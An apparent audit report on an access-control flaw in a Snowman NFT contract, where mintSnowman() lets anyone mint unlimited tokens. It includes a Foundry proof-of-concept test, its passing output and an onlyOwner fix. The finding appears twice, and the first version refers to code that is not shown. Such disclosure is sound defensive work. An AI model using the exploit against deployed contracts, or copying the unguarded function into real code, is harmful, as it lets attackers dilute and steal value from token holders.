Severity: Critical
Impact: Anyone can mint an unlimited number of Snowman NFTs, completely destroying the collection's scarcity and value.
Affected Contract: Snowman.sol
The Snowman contract contains a critical access-control vulnerability in its mintSnowman function. The function is declared as external and lacks any restriction (no onlyOwner, onlyAirdrop, or similar modifier). As a result, any external caller can mint an arbitrary number of Snowman NFTs to any address, circumventing the entire airdrop and staking mechanism. This breaks the core protocol invariant that Snowman NFTs can only be obtained by staking Snow tokens or through valid Merkle claims.
The vulnerable function is located in Snowman.sol:
No access control: The function has no require statement checking the caller’s identity. It is not restricted to the SnowmanAirdrop contract, the owner, or any authorized minter.
Direct external call: Anyone can call mintSnowman directly on the Snowman contract, completely bypassing the airdrop’s staking and signature checks.
Unlimited minting: The amount parameter is user-controlled and unbounded, allowing the attacker to mint as many NFTs as they wish in a single transaction.
The SnowmanAirdrop contract is designed to be the sole minter of Snowman NFTs (via i_snowman.mintSnowman(receiver, amount) inside claimSnowman). However, because mintSnowman is publicly accessible, this design is entirely broken.
The following Foundry test demonstrates the exploit. No Snow tokens or staking are required; the attacker simply calls mintSnowman on the Snowman contract.
Running this test will succeed, proving that any address can mint unlimited Snowman NFTs.
Complete dilution of the NFT collection: An attacker can mint thousands or millions of Snowman NFTs at virtually no cost (only gas), rendering the collection worthless for legitimate participants.
Breakdown of the protocol’s economic model: The staking and airdrop mechanism becomes meaningless, as anyone can obtain NFTs without holding Snow tokens or providing valid signatures.
Loss of trust and potential financial damage: If the NFTs have market value or are tied to future rewards, honest users suffer direct financial losses.
Protocol insolvency: The intended 1:1 relationship between Snow tokens and Snowman NFTs is destroyed, making the protocol unusable.
Restrict access to the minter: Add a modifier that only allows the designated SnowmanAirdrop contract to call mintSnowman. For example:
Use the existing ownership: Since the contract inherits Ownable, the simplest fix is to add the onlyOwner modifier to mintSnowman and have the owner be the SnowmanAirdrop contract. However, a separate minter role is more precise.
Deploy a new contract: If the contract is already deployed with this vulnerability, the protocol must redeploy a fixed version and ensure the old contract is abandoned or its NFTs are migrated.
The missing access control on mintSnowman is a fundamental flaw that breaks the entire purpose of the Snowman protocol. It allows anyone to mint unlimited NFTs without any prerequisites, leading to immediate and catastrophic economic damage. The fix is straightforward and must be implemented before any mainnet deployment.
# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```
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